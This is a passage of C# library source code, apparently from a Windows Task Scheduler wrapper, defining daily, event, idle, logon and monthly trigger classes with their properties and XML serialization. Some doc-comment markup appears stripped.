xmlDoc.DocumentElement?.SelectSingleNode("n:Triggers/*[@id='" + Id + "']", nsmgr); if (elem == null) { var nodes = xmlDoc.GetElementsByTagName("WnfStateChangeTrigger"); if (nodes.Count == 1) elem = nodes[0]; } if (elem == null) return; name = elem.LocalName; foreach (System.Xml.XmlNode node in elem.ChildNodes) { switch (node.LocalName) { case "Delay": delay = Task.StringToTimeSpan(node.InnerText); break; case "StartBoundary": case "Enabled": case "EndBoundary": case "ExecutionTimeLimit": break; default: nvc.Add(node.LocalName, node.InnerText); break; } } } catch { /* ignored */ } } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => Resources.TriggerCustom1; } /// /// Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every /// other day, every third day, and so on. /// /// A DailyTrigger will fire at a specified time every day or interval of days. /// /// /// /// /// [XmlRoot("CalendarTrigger", Namespace = TaskDefinition.tns, IsNullable = false)] public sealed class DailyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable { /// Creates an unbound instance of a . /// Interval between the days in the schedule. public DailyTrigger(short daysInterval = 1) : base(TaskTriggerType.Daily) => DaysInterval = daysInterval; internal DailyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunDaily) { if (v1TriggerData.Data.daily.DaysInterval == 0) v1TriggerData.Data.daily.DaysInterval = 1; } internal DailyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Sets or retrieves the interval between the days in the schedule. [DefaultValue(1)] public short DaysInterval { get { if (v2Trigger != null) return ((IDailyTrigger)v2Trigger).DaysInterval; return (short)v1TriggerData.Data.daily.DaysInterval; } set { if (v2Trigger != null) ((IDailyTrigger)v2Trigger).DaysInterval = value; else { v1TriggerData.Data.daily.DaysInterval = (ushort)value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(DaysInterval)] = value; } OnNotifyPropertyChanged(); } } /// Gets or sets a delay time that is randomly added to the start time of the trigger. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan RandomDelay { get => v2Trigger != null ? Task.StringToTimeSpan(((IDailyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero); set { if (v2Trigger != null) ((IDailyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RandomDelay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan ITriggerDelay.Delay { get => RandomDelay; set => RandomDelay = value; } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is DailyTrigger dt) { DaysInterval = dt.DaysInterval; } } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is DailyTrigger dt && base.Equals(dt) && DaysInterval == dt.DaysInterval; System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml); void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml); /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => DaysInterval == 1 ? string.Format(Resources.TriggerDaily1, AdjustToLocal(StartBoundary)) : string.Format(Resources.TriggerDaily2, AdjustToLocal(StartBoundary), DaysInterval); private void ReadMyXml(System.Xml.XmlReader reader) { reader.ReadStartElement("ScheduleByDay"); if (reader.MoveToContent() == System.Xml.XmlNodeType.Element && reader.LocalName == "DaysInterval") // ReSharper disable once AssignNullToNotNullAttribute DaysInterval = (short)reader.ReadElementContentAs(typeof(short), null); reader.Read(); reader.ReadEndElement(); } private void WriteMyXml(System.Xml.XmlWriter writer) { writer.WriteStartElement("ScheduleByDay"); writer.WriteElementString("DaysInterval", DaysInterval.ToString()); writer.WriteEndElement(); } } /// /// Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or /// Windows Server 2003 and later. /// /// The EventTrigger runs when a system event fires. /// /// ///"; /// eTrigger.ValueQueries.Add("Name", "Value"); ///]]> /// /// [XmlType(IncludeInSchema = false)] public sealed class EventTrigger : Trigger, ITriggerDelay { private NamedValueCollection nvc; /// Creates an unbound instance of a . public EventTrigger() : base(TaskTriggerType.Event) { } /// Initializes an unbound instance of the class and sets a basic event. /// The event's log. /// The event's source. Can be null. /// The event's id. Can be null. public EventTrigger(string log, string source, int? eventId) : this() => SetBasic(log, source, eventId); internal EventTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. [DefaultValue(typeof(TimeSpan), "00:00:00")] public TimeSpan Delay { get => v2Trigger != null ? Task.StringToTimeSpan(((IEventTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero); set { if (v2Trigger != null) ((IEventTrigger)v2Trigger).Delay = Task.TimeSpanToString(value); else unboundValues[nameof(Delay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets the XPath query string that identifies the event that fires the trigger. [DefaultValue(null)] public string Subscription { get => v2Trigger != null ? ((IEventTrigger)v2Trigger).Subscription : GetUnboundValueOrDefault(nameof(Subscription)); set { if (v2Trigger != null) ((IEventTrigger)v2Trigger).Subscription = value; else unboundValues[nameof(Subscription)] = value; OnNotifyPropertyChanged(); } } /// /// Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from /// the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of /// a action. /// [XmlArray] [XmlArrayItem("Value", typeof(NameValuePair))] public NamedValueCollection ValueQueries => nvc ??= v2Trigger == null ? new NamedValueCollection() : new NamedValueCollection(((IEventTrigger)v2Trigger).ValueQueries); /// Builds an event log XML query string based on the input parameters. /// The event's log. /// The event's source. Can be null. /// The event's id. Can be null. /// XML query string. /// log public static string BuildQuery(string log, string source, int? eventId) { var sb = new StringBuilder(); if (string.IsNullOrEmpty(log)) throw new ArgumentNullException(nameof(log)); sb.AppendFormat(""); return sb.ToString(); } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is EventTrigger et) { Subscription = et.Subscription; et.ValueQueries.CopyTo(ValueQueries); } } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is EventTrigger et && base.Equals(et) && Subscription == et.Subscription; /// Gets basic event information. /// The event's log. /// The event's source. Can be null. /// The event's id. Can be null. /// true if subscription represents a basic event, false if not. public bool GetBasic(out string log, out string source, out int? eventId) { log = source = null; eventId = null; if (!string.IsNullOrEmpty(Subscription)) { using var str = new System.IO.MemoryStream(Encoding.UTF8.GetBytes(Subscription)); using var rdr = new System.Xml.XmlTextReader(str) { WhitespaceHandling = System.Xml.WhitespaceHandling.None }; try { rdr.MoveToContent(); rdr.ReadStartElement("QueryList"); if (rdr.Name == "Query" && rdr.MoveToAttribute("Path")) { var path = rdr.Value; if (rdr.MoveToElement() && rdr.ReadToDescendant("Select") && path.Equals(rdr["Path"], StringComparison.InvariantCultureIgnoreCase)) { var content = rdr.ReadString(); var m = System.Text.RegularExpressions.Regex.Match(content, @"\*(?:\[System\[(?:Provider\[\@Name='(?[^']+)'\])?(?:\s+and\s+)?(?:EventID=(?\d+))?\]\])", System.Text.RegularExpressions.RegexOptions.IgnoreCase | System.Text.RegularExpressions.RegexOptions.Compiled | System.Text.RegularExpressions.RegexOptions.Singleline | System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace); if (m.Success) { log = path; if (m.Groups["s"].Success) source = m.Groups["s"].Value; if (m.Groups["e"].Success) eventId = Convert.ToInt32(m.Groups["e"].Value); return true; } } } } catch { /* ignored */ } } return false; } /// /// Sets the subscription for a basic event. This will replace the contents of the property and clear all /// entries in the property. /// /// The event's log. /// The event's source. Can be null. /// The event's id. Can be null. public void SetBasic([NotNull] string log, string source, int? eventId) { ValueQueries.Clear(); Subscription = BuildQuery(log, source, eventId); } internal override void Bind(ITaskDefinition iTaskDef) { base.Bind(iTaskDef); nvc?.Bind(((IEventTrigger)v2Trigger).ValueQueries); } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { if (!GetBasic(out var log, out var source, out var id)) return Resources.TriggerEvent1; var sb = new StringBuilder(); sb.AppendFormat(Resources.TriggerEventBasic1, log); if (!string.IsNullOrEmpty(source)) sb.AppendFormat(Resources.TriggerEventBasic2, source); if (id.HasValue) sb.AppendFormat(Resources.TriggerEventBasic3, id.Value); return sb.ToString(); } } /// /// Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task /// Idle Conditions. /// /// /// An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using /// the ExecutionTimeLimit property. /// /// /// /// /// /// public sealed class IdleTrigger : Trigger { /// Creates an unbound instance of a . public IdleTrigger() : base(TaskTriggerType.Idle) { } internal IdleTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnIdle) { } internal IdleTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => Resources.TriggerIdle1; } /// /// Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are /// enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. /// /// /// A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. /// /// /// /// /// /// public sealed class LogonTrigger : Trigger, ITriggerDelay, ITriggerUserId { /// Creates an unbound instance of a . public LogonTrigger() : base(TaskTriggerType.Logon) { } internal LogonTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnLogon) { } internal LogonTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan Delay { get => v2Trigger != null ? Task.StringToTimeSpan(((ILogonTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero); set { if (v2Trigger != null) ((ILogonTrigger)v2Trigger).Delay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(Delay)] = value; OnNotifyPropertyChanged(); } } /// /// Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". /// This property can be in one of the following formats: /// • User name or SID: The task is started when the user logs on to the computer. /// • NULL: The task is started when any user logs on to the computer. /// /// /// If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, /// then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty /// LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. /// /// Not supported under Task Scheduler 1.0. [DefaultValue(null)] [XmlIgnore] public string UserId { get => v2Trigger != null ? ((ILogonTrigger)v2Trigger).UserId : GetUnboundValueOrDefault(nameof(UserId)); set { if (v2Trigger != null) ((ILogonTrigger)v2Trigger).UserId = value; else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(UserId)] = value; OnNotifyPropertyChanged(); } } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { var user = string.IsNullOrEmpty(UserId) ? Resources.TriggerAnyUser : UserId; return string.Format(Resources.TriggerLogon1, user); } } /// /// Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May /// through October. /// [XmlRoot("CalendarTrigger", Namespace = TaskDefinition.tns, IsNullable = false)] public sealed class MonthlyDOWTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable { /// Creates an unbound instance of a . /// The days of the week. /// The months of the year. /// The weeks of the month. public MonthlyDOWTrigger(DaysOfTheWeek daysOfWeek = DaysOfTheWeek.Sunday, MonthsOfTheYear monthsOfYear = MonthsOfTheYear.AllMonths, WhichWeek weeksOfMonth = WhichWeek.FirstWeek) : base(TaskTriggerType.MonthlyDOW) { DaysOfWeek = daysOfWeek; MonthsOfYear = monthsOfYear; WeeksOfMonth = weeksOfMonth; } internal MonthlyDOWTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunMonthlyDOW) { if (v1TriggerData.Data.monthlyDOW.Months == 0) v1TriggerData.Data.monthlyDOW.Months = MonthsOfTheYear.AllMonths; if (v1TriggerData.Data.monthlyDOW.DaysOfTheWeek == 0) v1TriggerData.Data.monthlyDOW.DaysOfTheWeek = DaysOfTheWeek.Sunday; } internal MonthlyDOWTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets the days of the week during which the task runs. [DefaultValue(0)] public DaysOfTheWeek DaysOfWeek { get => v2Trigger != null ? (DaysOfTheWeek)((IMonthlyDOWTrigger)v2Trigger).DaysOfWeek : v1TriggerData.Data.monthlyDOW.DaysOfTheWeek; set { if (v2Trigger != null) ((IMonthlyDOWTrigger)v2Trigger).DaysOfWeek = (short)value; else { v1TriggerData.Data.monthlyDOW.DaysOfTheWeek = value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(DaysOfWeek)] = (short)value; } OnNotifyPropertyChanged(); } } /// Gets or sets the months of the year during which the task runs. [DefaultValue(0)] public MonthsOfTheYear MonthsOfYear { get => v2Trigger != null ? (MonthsOfTheYear)((IMonthlyDOWTrigger)v2Trigger).MonthsOfYear : v1TriggerData.Data.monthlyDOW.Months; set { if (v2Trigger != null) ((IMonthlyDOWTrigger)v2Trigger).MonthsOfYear = (short)value; else { v1TriggerData.Data.monthlyDOW.Months = value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(MonthsOfYear)] = (short)value; } OnNotifyPropertyChanged(); } } /// Gets or sets a delay time that is randomly added to the start time of the trigger. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan RandomDelay { get => v2Trigger != null ? Task.StringToTimeSpan(((IMonthlyDOWTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero); set { if (v2Trigger != null) ((IMonthlyDOWTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RandomDelay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets a Boolean value that indicates that the task runs on the last week of the month. /// Not supported under Task Scheduler 1.0. [DefaultValue(false)] [XmlIgnore] public bool RunOnLastWeekOfMonth { get => ((IMonthlyDOWTrigger)v2Trigger)?.RunOnLastWeekOfMonth ?? GetUnboundValueOrDefault(nameof(RunOnLastWeekOfMonth), false); set { if (v2Trigger != null) ((IMonthlyDOWTrigger)v2Trigger).RunOnLastWeekOfMonth = value; else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RunOnLastWeekOfMonth)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets the weeks of the month during which the task runs. [DefaultValue(0)] public WhichWeek WeeksOfMonth { get { if (v2Trigger == null) return v1Trigger != null ? v1TriggerData.Data.monthlyDOW.V2WhichWeek : GetUnboundValueOrDefault(nameof(WeeksOfMonth), WhichWeek.FirstWeek); var ww = (WhichWeek)((IMonthlyDOWTrigger)v2Trigger).WeeksOfMonth; // Following addition give accurate results for confusing RunOnLastWeekOfMonth property (thanks kbergeron) if (((IMonthlyDOWTrigger)v2Trigger).RunOnLastWeekOfMonth) ww |= WhichWeek.LastWeek; return ww; } set { // In Windows 10, the native library no longer acknowledges the LastWeek value and requires the RunOnLastWeekOfMonth to be // expressly set. I think this is wrong so I am correcting their changed functionality. (thanks @SebastiaanPolfliet) if (value.IsFlagSet(WhichWeek.LastWeek)) RunOnLastWeekOfMonth = true; if (v2Trigger != null) { ((IMonthlyDOWTrigger)v2Trigger).WeeksOfMonth = (short)value; } else { try { v1TriggerData.Data.monthlyDOW.V2WhichWeek = value; } catch (NotV1SupportedException) { if (v1Trigger != null) throw; } if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(WeeksOfMonth)] = (short)value; } OnNotifyPropertyChanged(); } } /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan ITriggerDelay.Delay { get => RandomDelay; set => RandomDelay = value; } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is MonthlyDOWTrigger mt) { DaysOfWeek = mt.DaysOfWeek; MonthsOfYear = mt.MonthsOfYear; try { RunOnLastWeekOfMonth = mt.RunOnLastWeekOfMonth; } catch { /* ignored */ } WeeksOfMonth = mt.WeeksOfMonth; } if (sourceTrigger is MonthlyTrigger m) MonthsOfYear = m.MonthsOfYear; } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is MonthlyDOWTrigger mt && base.Equals(other) && DaysOfWeek == mt.DaysOfWeek && MonthsOfYear == mt.MonthsOfYear && WeeksOfMonth == mt.WeeksOfMonth && v1Trigger == null && RunOnLastWeekOfMonth == mt.RunOnLastWeekOfMonth; System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml); void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml); /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { var ww = TaskEnumGlobalizer.GetString(WeeksOfMonth); var days = TaskEnumGlobalizer.GetString(DaysOfWeek); var months = TaskEnumGlobalizer.GetString(MonthsOfYear); return string.Format(Resources.TriggerMonthlyDOW1, AdjustToLocal(StartBoundary), ww, days, months); } /// Reads the subclass XML for V1 streams. /// The reader. private void ReadMyXml([NotNull] System.Xml.XmlReader reader) { reader.ReadStartElement("ScheduleByMonthDayOfWeek"); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { switch (reader.LocalName) { case "Weeks": reader.Read(); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { if (reader.LocalName == "Week") { var wk = reader.ReadElementContentAsString(); if (wk == "Last") WeeksOfMonth = WhichWeek.LastWeek; else { WeeksOfMonth = (int.Parse(wk)) switch { 1 => WhichWeek.FirstWeek, 2 => WhichWeek.SecondWeek, 3 => WhichWeek.ThirdWeek, 4 => WhichWeek.FourthWeek, _ => throw new System.Xml.XmlException("Week element must contain a 1-4 or Last as content."), }; } } } reader.ReadEndElement(); break; case "DaysOfWeek": reader.Read(); DaysOfWeek = 0; while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { try { DaysOfWeek |= (DaysOfTheWeek)Enum.Parse(typeof(DaysOfTheWeek), reader.LocalName); } catch { throw new System.Xml.XmlException("Invalid days of the week element."); } reader.Read(); } reader.ReadEndElement(); break; case "Months": reader.Read(); MonthsOfYear = 0; while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { try { MonthsOfYear |= (MonthsOfTheYear)Enum.Parse(typeof(MonthsOfTheYear), reader.LocalName); } catch { throw new System.Xml.XmlException("Invalid months of the year element."); } reader.Read(); } reader.ReadEndElement(); break; default: reader.Skip(); break; } } reader.ReadEndElement(); } /// Writes the subclass XML for V1 streams. /// The writer. private void WriteMyXml([NotNull] System.Xml.XmlWriter writer) { writer.WriteStartElement("ScheduleByMonthDayOfWeek"); writer.WriteStartElement("Weeks"); if ((WeeksOfMonth & WhichWeek.FirstWeek) == WhichWeek.FirstWeek) writer.WriteElementString("Week", "1"); if ((WeeksOfMonth & WhichWeek.SecondWeek) == WhichWeek.SecondWeek) writer.WriteElementString("Week", "2"); if ((WeeksOfMonth & WhichWeek.ThirdWeek) == WhichWeek.ThirdWeek) writer.WriteElementString("Week", "3"); if ((WeeksOfMonth & WhichWeek.FourthWeek) == WhichWeek.FourthWeek) writer.WriteElementString("Week", "4"); if ((WeeksOfMonth & WhichWeek.LastWeek) == WhichWeek.LastWeek) writer.WriteElementString("Week", "Last"); writer.WriteEndElement(); writer.WriteStartElement("DaysOfWeek"); foreach (DaysOfTheWeek e in Enum.GetValues(typeof(DaysOfTheWeek))) if (e != DaysOfTheWeek.AllDays && (DaysOfWeek & e) == e) writer.WriteElementString(e.ToString(), null); writer.WriteEndElement(); writer.WriteStartElement("Months"); foreach (MonthsOfTheYear e in Enum.GetValues(typeof(MonthsOfTheYear))) if (e != MonthsOfTheYear.AllMonths && (MonthsOfYear & e) == e) writer.WriteElementString(e.ToString(), null); writer.WriteEndElement(); writer.WriteEndElement(); } } /// /// Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. /// [XmlRoot("CalendarTrigger", Namespace = TaskDefinition.tns, IsNullable = false)] public sealed class MonthlyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable { /// Creates an unbound instance of a . /// /// The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. /// /// The months of the year. public MonthlyTrigger(int dayOfMonth = 1, MonthsOfTheYear monthsOfYear = MonthsOfTheYear.AllMonths) : base(TaskTriggerType.Monthly) { if (dayOfMonth < 1 || dayOfMonth > 32) throw new ArgumentOutOfRangeException(nameof(dayOfMonth)); if (!monthsOfYear.IsValidFlagValue()) throw new ArgumentOutOfRangeException(nameof(monthsOfYear)); if (dayOfMonth == 32) { DaysOfMonth = new int[0]; RunOnLastDayOfMonth = true; } else DaysOfMonth = new[] { dayOfMonth }; MonthsOfYear = monthsOfYear; } internal MonthlyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunMonthly) { if (v1TriggerData.Data.monthlyDate.Months == 0) v1TriggerData.Data.monthlyDate.Months = MonthsOfTheYear.AllMonths; if (v1TriggerData.Data.monthlyDate.Days == 0) v1TriggerData.Data.monthlyDate.Days = 1; } internal MonthlyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets the days of the month during which the task runs. public int[] DaysOfMonth { get => v2Trigger != null ? MaskToIndices(((IMonthlyTrigger)v2Trigger).DaysOfMonth) : MaskToIndices((int)v1TriggerData.Data.monthlyDate.Days); set { var mask = IndicesToMask(value); if (v2Trigger != null) ((IMonthlyTrigger)v2Trigger).DaysOfMonth = mask; else { v1TriggerData.Data.monthlyDate.Days = (uint)mask; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(DaysOfMonth)] = mask; } OnNotifyPropertyChanged(); } } /// Gets or sets the months of the year during which the task runs. [DefaultValue(0)] public MonthsOfTheYear MonthsOfYear { get => v2Trigger != null ? (MonthsOfTheYear)((IMonthlyTrigger)v2Trigger).MonthsOfYear : v1TriggerData.Data.monthlyDOW.Months; set { if (v2Trigger != null) ((IMonthlyTrigger)v2Trigger).MonthsOfYear = (short)value; else { v1TriggerData.Data.monthlyDOW.Months = value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(MonthsOfYear)] = (short)value; } OnNotifyPropertyChanged(); } } /// Gets or sets a delay time that is randomly added to the start time of the trigger. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan RandomDelay { get => v2Trigger != null ? Task.StringToTimeSpan(((IMonthlyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero); set { if (v2Trigger != null) ((IMonthlyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RandomDelay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets a Boolean value that indicates that the task runs on the last day of the month. /// Not supported under Task Scheduler 1.0. [DefaultValue(false)] [XmlIgnore] public bool RunOnLastDayOfMonth { get => ((IMonthlyTrigger)v2Trigger)?.RunOnLastDayOfMonth ?? GetUnboundValueOrDefault(nameof(RunOnLastDayOfMonth), false); set { if (v2Trigger != null) ((IMonthlyTrigger)v2Trigger).RunOnLastDayOfMonth = value; else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RunOnLastDayOfMonth)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan ITriggerDelay.Delay { get => RandomDelay; set => RandomDelay = value; } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is MonthlyTrigger mt) { DaysOfMonth = mt.DaysOfMonth; MonthsOfYear = mt.MonthsOfYear; try { RunOnLastDayOfMonth = mt.RunOnLastDayOfMonth; } catch { /* ignored */ } } if (sourceTrigger is MonthlyDOWTrigger mdt) MonthsOfYear = mdt.MonthsOfYear; } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is MonthlyTrigger mt && base.Equals(mt) && ListsEqual(DaysOfMonth, mt.DaysOfMonth) && MonthsOfYear == mt.MonthsOfYear && v1Trigger == null && RunOnLastDayOfMonth == mt.RunOnLastDayOfMonth; System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml); void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml); /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { var days = string.Join(Resources.ListSeparator, Array.ConvertAll(DaysOfMonth, i => i.ToString())); if (RunOnLastDayOfMonth) days += (days.Length == 0 ? "" : Resources.ListSeparator) + Resources.WWLastWeek; var months = TaskEnumGlobalizer.GetString(MonthsOfYear); return string.Format(Resources.TriggerMonthly1, AdjustToLocal(StartBoundary), days, months); } /// /// Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 /// to 32 and bits are numbered the same. /// /// An array with an element for each bit of the mask which is ON. /// An integer to be interpreted as a mask. private static int IndicesToMask(int[] indices) { if (indices is null || indices.Length == 0) return 0; var mask = 0; foreach (var index in indices) { if (index < 1 || index > 31) throw new ArgumentException("Days must be in the range 1..31"); mask |= 1 << (index - 1); } return mask; } /// Compares two collections. /// Item type of collections. /// The first collection. /// The second collection /// true if the collections values are equal; false otherwise. private static bool ListsEqual(ICollection left, ICollection right) where T : IComparable { if (left == null && right == null) return true; if (left == null || right == null) return false; if (left.Count != right.Count) return false; List l1 = new List(left), l2 = new List(right); l1.Sort(); l2.Sort(); for (var i = 0; i < l1.Count; i++) if (l1[i].CompareTo(l2[i]) != 0) return false; return true; } /// /// Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits /// are considered to number from 1 to 32. /// /// An integer to be interpreted as a mask. /// An array with an element for each bit of the mask which is ON. private static int[] MaskToIndices(int mask) { //count bits in mask var cnt = 0; for (var i = 0; mask >> i > 0; i++) cnt += (1 & (mask >> i)); //allocate return array with one entry for each bit var indices = new int[cnt]; //fill array with bit indices cnt = 0; for (var i = 0; mask >> i > 0; i++) if ((1 & (mask >> i)) == 1) indices[cnt++] = i + 1; return indices; } /// Reads the subclass XML for V1 streams. /// The reader. private void ReadMyXml([NotNull] System.Xml.XmlReader reader) { reader.ReadStartElement("ScheduleByMonth"); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { switch (reader.LocalName) { case "DaysOfMonth": reader.Read(); var days = new List(); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { if (reader.LocalName != "Day") continue; var sday = reader.ReadElementContentAsString(); if (sday.Equals("Last", StringComparison.InvariantCultureIgnoreCase)) continue; var day = int.Parse(sday); if (day >= 1 && day <= 31) days.Add(day); } DaysOfMonth = days.ToArray(); reader.ReadEndElement(); break; case "Months": reader.Read(); MonthsOfYear = 0; while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { try { MonthsOfYear |= (MonthsOfTheYear)Enum.Parse(typeof(MonthsOfTheYear), reader.LocalName); } catch { throw new System.Xml.XmlException("Invalid months of the year element."); } reader.Read(); } reader.ReadEndElement(); break; default: reader.Skip(); break; } } reader.ReadEndElement(); } private void WriteMyXml([NotNull] System.Xml.XmlWriter writer) { writer.WriteStartElement("ScheduleByMonth"); writer.WriteStartElement("DaysOfMonth"); foreach (var day in DaysOfMonth) writer.WriteElementString("Day", day.ToString()); writer.WriteEndElement(); writer.WriteStartElement("Months"); foreach (MonthsOfTheYear e in Enum.GetValues(typeof(MonthsOfTheYear))) if (e != MonthsOfTheYear.AllMonths && (MonthsOfYear & e) == e) writer.WriteElementString(e.ToString(), null); writer.WriteEndElement(); writer.WriteEndElement(); } } /// /// Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only /// available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. /// 